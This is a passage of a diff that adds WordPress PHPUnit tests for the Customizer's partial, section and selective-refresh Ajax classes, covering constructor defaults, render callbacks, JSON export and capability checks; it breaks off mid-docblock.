+		$this->wp_customize = $GLOBALS['wp_customize'];
+		if ( isset( $this->wp_customize->selective_refresh ) ) {
+			$this->selective_refresh = $this->wp_customize->selective_refresh;
+		}
+	}
+
+	/**
+	 * Test WP_Customize_Partial::__construct().
+	 *
+	 * @see WP_Customize_Partial::__construct()
+	 */
+	function test_construct_default_args() {
+		$partial_id = 'blogname';
+		$partial = new WP_Customize_Partial( $this->selective_refresh, $partial_id );
+		$this->assertEquals( $partial_id, $partial->id );
+		$this->assertEquals( $this->selective_refresh, $partial->component );
+		$this->assertEquals( 'default', $partial->type );
+		$this->assertEmpty( $partial->selector );
+		$this->assertEquals( array( $partial_id ), $partial->settings );
+		$this->assertEquals( $partial_id, $partial->primary_setting );
+		$this->assertEquals( array( $partial, 'render_callback' ), $partial->render_callback );
+		$this->assertEquals( false, $partial->container_inclusive );
+		$this->assertEquals( true, $partial->fallback_refresh );
+	}
+
+	/**
+	 * Render post content partial.
+	 *
+	 * @param WP_Customize_Partial $partial Partial.
+	 * @return string|false Content or false if error.
+	 */
+	function render_post_content_partial( $partial ) {
+		$id_data = $partial->id_data();
+		$post_id = intval( $id_data['keys'][0] );
+		if ( empty( $post_id ) ) {
+			return false;
+		}
+		$post = get_post( $post_id );
+		if ( ! $post ) {
+			return false;
+		}
+		return apply_filters( 'the_content', $post->post_content );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::__construct().
+	 *
+	 * @see WP_Customize_Partial::__construct()
+	 */
+	function test_construct_non_default_args() {
+
+		$post_id = self::factory()->post->create( array(
+			'post_title' => 'Hello World',
+			'post_content' => 'Lorem Ipsum',
+		) );
+
+		$partial_id = sprintf( 'post_content[%d]', $post_id );
+		$args = array(
+			'type' => 'post',
+			'selector' => "article.post-$post_id .entry-content",
+			'settings' => array( 'user[1]', "post[$post_id]" ),
+			'primary_setting' => "post[$post_id]",
+			'render_callback' => array( $this, 'render_post_content_partial' ),
+			'container_inclusive' => false,
+			'fallback_refresh' => false,
+		);
+		$partial = new WP_Customize_Partial( $this->selective_refresh, $partial_id, $args );
+		$this->assertEquals( $partial_id, $partial->id );
+		$this->assertEquals( $this->selective_refresh, $partial->component );
+		$this->assertEquals( $args['type'], $partial->type );
+		$this->assertEquals( $args['selector'], $partial->selector );
+		$this->assertEqualSets( $args['settings'], $partial->settings );
+		$this->assertEquals( $args['primary_setting'], $partial->primary_setting );
+		$this->assertEquals( $args['render_callback'], $partial->render_callback );
+		$this->assertEquals( false, $partial->container_inclusive );
+		$this->assertEquals( false, $partial->fallback_refresh );
+		$this->assertContains( 'Lorem Ipsum', $partial->render() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, $partial_id, array(
+			'settings' => 'blogdescription',
+		) );
+		$this->assertEquals( array( 'blogdescription' ), $partial->settings );
+		$this->assertEquals( 'blogdescription', $partial->primary_setting );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::id_data().
+	 *
+	 * @see WP_Customize_Partial::id_data()
+	 */
+	function test_id_data() {
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'foo' );
+		$id_data = $partial->id_data();
+		$this->assertEquals( 'foo', $id_data['base'] );
+		$this->assertEquals( array(), $id_data['keys'] );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'bar[baz][quux]' );
+		$id_data = $partial->id_data();
+		$this->assertEquals( 'bar', $id_data['base'] );
+		$this->assertEquals( array( 'baz', 'quux' ), $id_data['keys'] );
+	}
+
+	/**
+	 * Keep track of filter calls to customize_partial_render.
+	 *
+	 * @var int
+	 */
+	protected $count_filter_customize_partial_render = 0;
+
+	/**
+	 * Keep track of filter calls to customize_partial_render_{$partial->id}.
+	 *
+	 * @var int
+	 */
+	protected $count_filter_customize_partial_render_with_id = 0;
+
+	/**
+	 * Filter customize_partial_render.
+	 *
+	 * @param string|false         $rendered          Content.
+	 * @param WP_Customize_Partial $partial           Partial.
+	 * @param array                $container_context Data.
+	 * @return string|false Content.
+	 */
+	function filter_customize_partial_render( $rendered, $partial, $container_context ) {
+		$this->assertTrue( false === $rendered || is_string( $rendered ) );
+		$this->assertInstanceOf( 'WP_Customize_Partial', $partial );
+		$this->assertInternalType( 'array', $container_context );
+		$this->count_filter_customize_partial_render += 1;
+		return $rendered;
+	}
+
+	/**
+	 * Filter customize_partial_render_{$partial->id}.
+	 *
+	 * @param string|false         $rendered          Content.
+	 * @param WP_Customize_Partial $partial           Partial.
+	 * @param array                $container_context Data.
+	 * @return string|false Content.
+	 */
+	function filter_customize_partial_render_with_id( $rendered, $partial, $container_context ) {
+		$this->assertEquals( sprintf( 'customize_partial_render_%s', $partial->id ), current_filter() );
+		$this->assertTrue( false === $rendered || is_string( $rendered ) );
+		$this->assertInstanceOf( 'WP_Customize_Partial', $partial );
+		$this->assertInternalType( 'array', $container_context );
+		$this->count_filter_customize_partial_render_with_id += 1;
+		return $rendered;
+	}
+
+	/**
+	 * Bad render_callback().
+	 *
+	 * @return string Content.
+	 */
+	function render_echo_and_return() {
+		echo 'foo';
+		return 'bar';
+	}
+
+	/**
+	 * Echo render_callback().
+	 */
+	function render_echo() {
+		echo 'foo';
+	}
+
+	/**
+	 * Return render_callback().
+	 *
+	 * @return string Content.
+	 */
+	function render_return() {
+		return 'bar';
+	}
+
+	/**
+	 * Test WP_Customize_Partial::render() with a bad return_callback.
+	 *
+	 * @see WP_Customize_Partial::render()
+	 */
+	function test_render_with_bad_callback_should_give_preference_to_return_value() {
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'foo', array(
+			'render_callback' => array( $this, 'render_echo_and_return' ),
+		) );
+		$this->setExpectedIncorrectUsage( 'render' );
+		$this->assertSame( 'bar', $partial->render() );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::render() with a return_callback that echos.
+	 *
+	 * @see WP_Customize_Partial::render()
+	 */
+	function test_render_echo_callback() {
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'foo', array(
+			'render_callback' => array( $this, 'render_echo' ),
+		) );
+		$count_filter_customize_partial_render = $this->count_filter_customize_partial_render;
+		$count_filter_customize_partial_render_with_id = $this->count_filter_customize_partial_render_with_id;
+		add_filter( 'customize_partial_render', array( $this, 'filter_customize_partial_render' ), 10, 3 );
+		add_filter( "customize_partial_render_{$partial->id}", array( $this, 'filter_customize_partial_render_with_id' ), 10, 3 );
+		$rendered = $partial->render();
+		$this->assertEquals( 'foo', $rendered );
+		$this->assertEquals( $count_filter_customize_partial_render + 1, $this->count_filter_customize_partial_render );
+		$this->assertEquals( $count_filter_customize_partial_render_with_id + 1, $this->count_filter_customize_partial_render_with_id );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::render() with a return_callback that echos.
+	 *
+	 * @see WP_Customize_Partial::render()
+	 */
+	function test_render_return_callback() {
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'foo', array(
+			'render_callback' => array( $this, 'render_return' ),
+		) );
+		$count_filter_customize_partial_render = $this->count_filter_customize_partial_render;
+		$count_filter_customize_partial_render_with_id = $this->count_filter_customize_partial_render_with_id;
+		add_filter( 'customize_partial_render', array( $this, 'filter_customize_partial_render' ), 10, 3 );
+		add_filter( "customize_partial_render_{$partial->id}", array( $this, 'filter_customize_partial_render_with_id' ), 10, 3 );
+		$rendered = $partial->render();
+		$this->assertEquals( 'bar', $rendered );
+		$this->assertEquals( $count_filter_customize_partial_render + 1, $this->count_filter_customize_partial_render );
+		$this->assertEquals( $count_filter_customize_partial_render_with_id + 1, $this->count_filter_customize_partial_render_with_id );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::render_callback() default.
+	 *
+	 * @see WP_Customize_Partial::render_callback()
+	 */
+	function test_render_callback_default() {
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'foo' );
+		$this->assertFalse( $partial->render_callback( $partial, array() ) );
+		$this->assertFalse( call_user_func( $partial->render_callback, $partial, array() ) );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::json().
+	 *
+	 * @see WP_Customize_Partial::json()
+	 */
+	function test_json() {
+		$post_id = 123;
+		$partial_id = sprintf( 'post_content[%d]', $post_id );
+		$args = array(
+			'type' => 'post',
+			'selector' => "article.post-$post_id .entry-content",
+			'settings' => array( 'user[1]', "post[$post_id]" ),
+			'primary_setting' => "post[$post_id]",
+			'render_callback' => array( $this, 'render_post_content_partial' ),
+			'container_inclusive' => false,
+			'fallback_refresh' => false,
+		);
+		$partial = new WP_Customize_Partial( $this->selective_refresh, $partial_id, $args );
+
+		$exported = $partial->json();
+		$this->assertArrayHasKey( 'settings', $exported );
+		$this->assertArrayHasKey( 'primarySetting', $exported );
+		$this->assertArrayHasKey( 'selector', $exported );
+		$this->assertArrayHasKey( 'type', $exported );
+		$this->assertArrayHasKey( 'fallbackRefresh', $exported );
+		$this->assertArrayHasKey( 'containerInclusive', $exported );
+	}
+
+	/**
+	 * Test WP_Customize_Partial::check_capabilities().
+	 *
+	 * @see WP_Customize_Partial::check_capabilities()
+	 */
+	function test_check_capabilities() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		do_action( 'customize_register', $this->wp_customize );
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'blogname', array(
+			'settings' => array( 'blogname' ),
+		) );
+		$this->assertTrue( $partial->check_capabilities() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'blogname', array(
+			'settings' => array( 'blogname', 'non_existing' ),
+		) );
+		$this->assertFalse( $partial->check_capabilities() );
+
+		$this->wp_customize->add_setting( 'top_secret_message', array(
+			'capability' => 'top_secret_clearance',
+		) );
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'blogname', array(
+			'settings' => array( 'blogname', 'top_secret_clearance' ),
+		) );
+		$this->assertFalse( $partial->check_capabilities() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'no_setting', array(
+			'settings' => array(),
+		) );
+		$this->assertTrue( $partial->check_capabilities() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'no_setting', array(
+			'settings' => array(),
+			'capability' => 'top_secret_clearance',
+		) );
+		$this->assertFalse( $partial->check_capabilities() );
+
+		$partial = new WP_Customize_Partial( $this->selective_refresh, 'no_setting', array(
+			'settings' => array(),
+			'capability' => 'edit_theme_options',
+		) );
+		$this->assertTrue( $partial->check_capabilities() );
+	}
+
+	/**
+	 * Tear down.
+	 */
+	function tearDown() {
+		$this->wp_customize = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/section.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/section.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/section.php	(revision 56912)
@@ -0,0 +1,239 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Section class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Section extends WP_UnitTestCase {
+	protected static $admin_id;
+	protected static $user_ids = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_ids[] = self::$admin_id = $factory->user->create( array( 'role' => 'administrator' ) );
+	}
+
+	/**
+	 * @var WP_Customize_Manager
+	 */
+	protected $manager;
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+		$this->undefined = new stdClass();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+
+	/**
+	 * @see WP_Customize_Section::__construct()
+	 */
+	function test_construct_default_args() {
+		$section = new WP_Customize_Section( $this->manager, 'foo' );
+		$this->assertInternalType( 'int', $section->instance_number );
+		$this->assertEquals( $this->manager, $section->manager );
+		$this->assertEquals( 'foo', $section->id );
+		$this->assertEquals( 160, $section->priority );
+		$this->assertEquals( 'edit_theme_options', $section->capability );
+		$this->assertEquals( '', $section->theme_supports );
+		$this->assertEquals( '', $section->title );
+		$this->assertEquals( '', $section->description );
+		$this->assertEmpty( $section->panel );
+		$this->assertEquals( 'default', $section->type );
+		$this->assertEquals( array( $section, 'active_callback' ), $section->active_callback );
+	}
+
+	/**
+	 * @see WP_Customize_Section::__construct()
+	 */
+	function test_construct_custom_args() {
+		$args = array(
+			'priority' => 200,
+			'capability' => 'edit_posts',
+			'theme_supports' => 'html5',
+			'title' => 'Hello World',
+			'description' => 'Lorem Ipsum',
+			'type' => 'horizontal',
+			'active_callback' => '__return_true',
+			'panel' => 'bar',
+		);
+
+		$this->manager->add_panel( 'bar' );
+
+		$section = new WP_Customize_Section( $this->manager, 'foo', $args );
+		foreach ( $args as $key => $value ) {
+			$this->assertEquals( $value, $section->$key );
+		}
+	}
+
+	/**
+	 * @see WP_Customize_Section::__construct()
+	 */
+	function test_construct_custom_type() {
+		$section = new Custom_Section_Test( $this->manager, 'foo' );
+		$this->assertEquals( 'titleless', $section->type );
+	}
+
+	/**
+	 * @see WP_Customize_Section::active()
+	 * @see WP_Customize_Section::active_callback()
+	 */
+	function test_active() {
+		$section = new WP_Customize_Section( $this->manager, 'foo' );
+		$this->assertTrue( $section->active() );
+
+		$section = new WP_Customize_Section( $this->manager, 'foo', array(
+			'active_callback' => '__return_false',
+		) );
+		$this->assertFalse( $section->active() );
+		add_filter( 'customize_section_active', array( $this, 'filter_active_test' ), 10, 2 );
+		$this->assertTrue( $section->active() );
+	}
+
+	/**
+	 * @param bool $active
+	 * @param WP_Customize_Section $section
+	 * @return bool
+	 */
+	function filter_active_test( $active, $section ) {
+		$this->assertFalse( $active );
+		$this->assertInstanceOf( 'WP_Customize_Section', $section );
+		$active = true;
+		return $active;
+	}
+
+	/**
+	 * @see WP_Customize_Section::json()
+	 */
+	function test_json() {
+		$args = array(
+			'priority' => 200,
+			'capability' => 'edit_posts',
+			'theme_supports' => 'html5',
+			'title' => 'Hello World',
+			'description' => 'Lorem Ipsum',
+			'type' => 'horizontal',
+			'panel' => 'bar',
+			'active_callback' => '__return_true',
+		);
+
+		$this->manager->add_panel( 'bar' );
+
+		$section = new WP_Customize_Section( $this->manager, 'foo', $args );
+		$data = $section->json();
+		$this->assertEquals( 'foo', $data['id'] );
+		foreach ( array( 'title', 'description', 'priority', 'panel', 'type' ) as $key ) {
+			$this->assertEquals( $args[ $key ], $data[ $key ] );
+		}
+		$this->assertEmpty( $data['content'] );
+		$this->assertTrue( $data['active'] );
+		$this->assertInternalType( 'int', $data['instanceNumber'] );
+	}
+
+	/**
+	 * @see WP_Customize_Section::check_capabilities()
+	 */
+	function test_check_capabilities() {
+		wp_set_current_user( self::$admin_id );
+
+		$section = new WP_Customize_Section( $this->manager, 'foo' );
+		$this->assertTrue( $section->check_capabilities() );
+		$old_cap = $section->capability;
+		$section->capability = 'do_not_allow';
+		$this->assertFalse( $section->check_capabilities() );
+		$section->capability = $old_cap;
+		$this->assertTrue( $section->check_capabilities() );
+		$section->theme_supports = 'impossible_feature';
+		$this->assertFalse( $section->check_capabilities() );
+	}
+
+	/**
+	 * @see WP_Customize_Section::get_content()
+	 */
+	function test_get_content() {
+		$section = new WP_Customize_Section( $this->manager, 'foo' );
+		$this->assertEmpty( $section->get_content() );
+	}
+
+	/**
+	 * @see WP_Customize_Section::maybe_render()
+	 */
+	function test_maybe_render() {
+		wp_set_current_user( self::$admin_id );
+		$section = new WP_Customize_Section( $this->manager, 'bar' );
+		$customize_render_section_count = did_action( 'customize_render_section' );
+		add_action( 'customize_render_section', array( $this, 'action_customize_render_section_test' ) );
+		ob_start();
+		$section->maybe_render();
+		$content = ob_get_clean();
+		$this->assertTrue( $section->check_capabilities() );
+		$this->assertEmpty( $content );
+		$this->assertEquals( $customize_render_section_count + 1, did_action( 'customize_render_section' ), 'Unexpected did_action count for customize_render_section' );
+		$this->assertEquals( 1, did_action( "customize_render_section_{$section->id}" ), "Unexpected did_action count for customize_render_section_{$section->id}" );
+	}
+
+	/**
+	 * @see WP_Customize_Section::maybe_render()
+	 * @param WP_Customize_Section $section
+	 */
+	function action_customize_render_section_test( $section ) {
+		$this->assertInstanceOf( 'WP_Customize_Section', $section );
+	}
+
+	/**
+	 * @see WP_Customize_Section::print_template()
+	 */
+	function test_print_templates_standard() {
+		wp_set_current_user( self::$admin_id );
+
+		$section = new WP_Customize_Section( $this->manager, 'baz' );
+		ob_start();
+		$section->print_template();
+		$content = ob_get_clean();
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-section-default">', $content );
+		$this->assertContains( 'accordion-section-title', $content );
+		$this->assertContains( 'accordion-section-content', $content );
+	}
+
+	/**
+	 * @see WP_Customize_Section::print_template()
+	 */
+	function test_print_templates_custom() {
+		wp_set_current_user( self::$admin_id );
+
+		$section = new Custom_Section_Test( $this->manager, 'baz' );
+		ob_start();
+		$section->print_template();
+		$content = ob_get_clean();
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-section-titleless">', $content );
+		$this->assertNotContains( 'accordion-section-title', $content );
+		$this->assertContains( 'accordion-section-content', $content );
+	}
+}
+
+require_once ABSPATH . WPINC . '/class-wp-customize-section.php';
+class Custom_Section_Test extends WP_Customize_Section {
+	public $type = 'titleless';
+
+	protected function render_template() {
+		?>
+		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }}">
+			<ul class="accordion-section-content">
+				<# if ( data.description ) { #>
+					<li class="customize-section-description-container">
+						<p class="description customize-section-description">{{{ data.description }}}</p>
+					</li>
+				<# } #>
+			</ul>
+		</li>
+		<?php
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh-ajax.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh-ajax.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/selective-refresh-ajax.php	(revision 56912)
@@ -0,0 +1,481 @@
+<?php
+/**
+ * WP_Customize_Selective_Refresh Ajax tests.
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ */
+
+/**
+ * Tests for the WP_Customize_Selective_Refresh class Ajax.
+ *
+ * Note that this is intentionally not extending WP_Ajax_UnitTestCase because it
+ * is not admin ajax.
+ *
+ * @since      4.5.0
+ * @group      ajax
+ */
+class Test_WP_Customize_Selective_Refresh_Ajax extends WP_UnitTestCase {
+
+	/**
+	 * Manager.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Component.
+	 *
+	 * @var WP_Customize_Selective_Refresh
+	 */
+	public $selective_refresh;
+
+	/**
+	 * Set up the test fixture.
+	 */
+	function setUp() {
+		parent::setUp();
+
+		// Define wp_doing_ajax so that wp_die() will be used instead of die().
+		add_filter( 'wp_doing_ajax', '__return_true' );
+		add_filter( 'wp_die_ajax_handler', array( $this, 'get_wp_die_handler' ), 1, 1 );
+
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		// @codingStandardsIgnoreStart
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		// @codingStandardsIgnoreEnd
+		$this->wp_customize = $GLOBALS['wp_customize'];
+		if ( isset( $this->wp_customize->selective_refresh ) ) {
+			$this->selective_refresh = $this->wp_customize->selective_refresh;
+		}
+	}
+
+	/**
+	 * Do Customizer boot actions.
+	 */
+	function do_customize_boot_actions() {
+		$_SERVER['REQUEST_METHOD'] = 'POST';
+		do_action( 'setup_theme' );
+		do_action( 'after_setup_theme' );
+		do_action( 'init' );
+		do_action( 'customize_register', $this->wp_customize );
+		$this->wp_customize->customize_preview_init();
+		do_action( 'wp', $GLOBALS['wp'] );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request().
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_for_unauthenticated_user() {
+		$_POST[ WP_Customize_Selective_Refresh::RENDER_QUERY_VAR ] = '1';
+
+		// Check current_user_cannot_customize.
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			unset( $e );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertFalse( $output['success'] );
+		$this->assertEquals( 'expected_customize_preview', $output['data'] );
+
+		// Check expected_customize_preview.
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$_REQUEST['nonce'] = wp_create_nonce( 'preview-customize_' . $this->wp_customize->theme()->get_stylesheet() );
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			unset( $e );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertFalse( $output['success'] );
+		$this->assertEquals( 'expected_customize_preview', $output['data'] );
+
+		// Check missing_partials.
+		$this->do_customize_boot_actions();
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			unset( $e );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertFalse( $output['success'] );
+		$this->assertEquals( 'missing_partials', $output['data'] );
+
+		// Check missing_partials.
+		$_POST['partials'] = 'bad';
+		$this->do_customize_boot_actions();
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertFalse( $output['success'] );
+		$this->assertEquals( 'malformed_partials', $output['data'] );
+	}
+
+	/**
+	 * Set the current user to be an admin, add the preview nonce, and set the query var.
+	 */
+	function setup_valid_render_partials_request_environment() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$_REQUEST['nonce'] = wp_create_nonce( 'preview-customize_' . $this->wp_customize->theme()->get_stylesheet() );
+		$_POST[ WP_Customize_Selective_Refresh::RENDER_QUERY_VAR ] = '1';
+		$this->do_customize_boot_actions();
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() for an unrecognized partial.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_for_unrecognized_partial() {
+		$this->setup_valid_render_partials_request_environment();
+		$context_data = array();
+		$placements = array( $context_data );
+
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'foo' => $placements,
+		) ) );
+
+		ob_start();
+		try {
+			$this->expected_partial_ids = array( 'foo' );
+			add_filter( 'customize_render_partials_response', array( $this, 'filter_customize_render_partials_response' ), 10, 3 );
+			add_action( 'customize_render_partials_before', array( $this, 'handle_action_customize_render_partials_before' ), 10, 2 );
+			add_action( 'customize_render_partials_after', array( $this, 'handle_action_customize_render_partials_after' ), 10, 2 );
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertTrue( $output['success'] );
+		$this->assertInternalType( 'array', $output['data'] );
+		$this->assertArrayHasKey( 'contents', $output['data'] );
+		$this->assertArrayHasKey( 'errors', $output['data'] );
+		$this->assertArrayHasKey( 'foo', $output['data']['contents'] );
+		$this->assertEquals( null, $output['data']['contents']['foo'] );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() for a partial that does not render.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_for_non_rendering_partial() {
+		$this->setup_valid_render_partials_request_environment();
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$this->wp_customize->add_setting( 'home' );
+		$this->wp_customize->selective_refresh->add_partial( 'foo', array( 'settings' => array( 'home' ) ) );
+		$context_data = array();
+		$placements = array( $context_data );
+
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'foo' => $placements,
+		) ) );
+
+		$count_customize_render_partials_before = has_action( 'customize_render_partials_before' );
+		$count_customize_render_partials_after = has_action( 'customize_render_partials_after' );
+		ob_start();
+		try {
+			$this->expected_partial_ids = array( 'foo' );
+			add_filter( 'customize_render_partials_response', array( $this, 'filter_customize_render_partials_response' ), 10, 3 );
+			add_action( 'customize_render_partials_before', array( $this, 'handle_action_customize_render_partials_before' ), 10, 2 );
+			add_action( 'customize_render_partials_after', array( $this, 'handle_action_customize_render_partials_after' ), 10, 2 );
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$this->assertEquals( $count_customize_render_partials_before + 1, has_action( 'customize_render_partials_before' ) );
+		$this->assertEquals( $count_customize_render_partials_after + 1, has_action( 'customize_render_partials_after' ) );
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertEquals( array( false ), $output['data']['contents']['foo'] );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() for a partial the user doesn't have the capability to edit.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_rendering_disallowed_partial() {
+		$this->setup_valid_render_partials_request_environment();
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$this->wp_customize->add_setting( 'secret_message', array(
+			'capability' => 'top_secret_clearance',
+		) );
+		$this->wp_customize->selective_refresh->add_partial( 'secret_message', array( 'settings' => 'secret_message' ) );
+
+		$context_data = array();
+		$placements = array( $context_data );
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'secret_message' => $placements,
+		) ) );
+
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertNull( $output['data']['contents']['secret_message'] );
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() for a partial for which an associated setting does not exist.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_rendering_partial_with_missing_settings() {
+		$this->setup_valid_render_partials_request_environment();
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$this->wp_customize->selective_refresh->add_partial( 'bar', array( 'settings' => 'bar' ) );
+
+		$context_data = array();
+		$placements = array( $context_data );
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'bar' => $placements,
+		) ) );
+
+		ob_start();
+		try {
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertNull( $output['data']['contents']['bar'] );
+	}
+
+	/**
+	 * Get the rendered blogname.
+	 *
+	 * @param WP_Customize_Partial $partial Partial.
+	 * @param array                $context Context data.
+	 * @return string
+	 */
+	function render_callback_blogname( $partial, $context ) {
+		$this->assertInternalType( 'array', $context );
+		$this->assertInstanceOf( 'WP_Customize_Partial', $partial );
+		return get_bloginfo( 'name', 'display' );
+	}
+
+	/**
+	 * Get the rendered blogdescription.
+	 *
+	 * @param WP_Customize_Partial $partial Partial.
+	 * @param array                $context Context data.
+	 * @return string
+	 */
+	function render_callback_blogdescription( $partial, $context ) {
+		$this->assertInternalType( 'array', $context );
+		$this->assertInstanceOf( 'WP_Customize_Partial', $partial );
+		$x = get_bloginfo( 'description', 'display' );
+		return $x;
+	}
+
+	/**
+	 * Test WP_Customize_Selective_Refresh::handle_render_partials_request() for a partial that does render.
+	 *
+	 * @see WP_Customize_Selective_Refresh::handle_render_partials_request()
+	 */
+	function test_handle_render_partials_request_with_single_valid_placement() {
+		$this->setup_valid_render_partials_request_environment();
+
+		$this->wp_customize->selective_refresh->add_partial( 'test_blogname', array(
+			'settings' => array( 'blogname' ),
+			'render_callback' => array( $this, 'render_callback_blogname' ),
+		) );
+
+		$context_data = array();
+		$placements = array( $context_data );
+
+		$_POST['partials'] = wp_slash( wp_json_encode( array(
+			'test_blogname' => $placements,
+		) ) );
+
+		$count_customize_render_partials_before = has_action( 'customize_render_partials_before' );
+		$count_customize_render_partials_after = has_action( 'customize_render_partials_after' );
+		ob_start();
+		try {
+			$this->expected_partial_ids = array( 'test_blogname' );
+			add_filter( 'customize_render_partials_response', array( $this, 'filter_customize_render_partials_response' ), 10, 3 );
+			add_action( 'customize_render_partials_before', array( $this, 'handle_action_customize_render_partials_before' ), 10, 2 );
+			add_action( 'customize_render_partials_after', array( $this, 'handle_action_customize_render_partials_after' ), 10, 2 );
+			$this->selective_refresh->handle_render_partials_request();
+		} catch ( WPDieException $e ) {
+			$this->assertEquals( '', $e->getMessage() );
+		}
+		$this->assertEquals( $count_customize_render_partials_before + 1, has_action( 'customize_render_partials_before' ) );
+		$this->assertEquals( $count_customize_render_partials_after + 1, has_action( 'customize_render_partials_after' ) );
+		$output = json_decode( ob_get_clean(), true );
+		$this->assertEquals( array( get_bloginfo( 'name', 'display' ) ), $output['data']['contents']['test_blogname'] );
+		$this->assertArrayHasKey( 'setting_validities', $output['data'] );
+	}
+
+	/**
+	 * Filter customize_dynamic_partial_args.
+	 *
+	 * @param array  $partial_args Partial args.
+	 * @param string $partial_id   Partial ID.
+	 *
+	 * @return array|false Args.
+	 */
+	function filter_customize_dynamic_partial_args( $partial_args, $partial_id ) {
+		if ( 'test_dynamic_blogname' === $partial_id ) {
+			$partial_args = array(
+				'settings' => array( 'blogname' ),
+				'render_callback' => array( $this, 'render_callback_blogname' ),
+			);
+		}
+		return $partial_args;
+	}
+
+	/**
+	 * Filter customize_render_partials_response.
+	 *
+	 * @param array                          $response            Response.
+	 * @param WP_Customize_Selective_Refresh $component Selective refresh component.
+	 * @param array                          $partial_placements  Placements' context data for the partials rendered in the request.
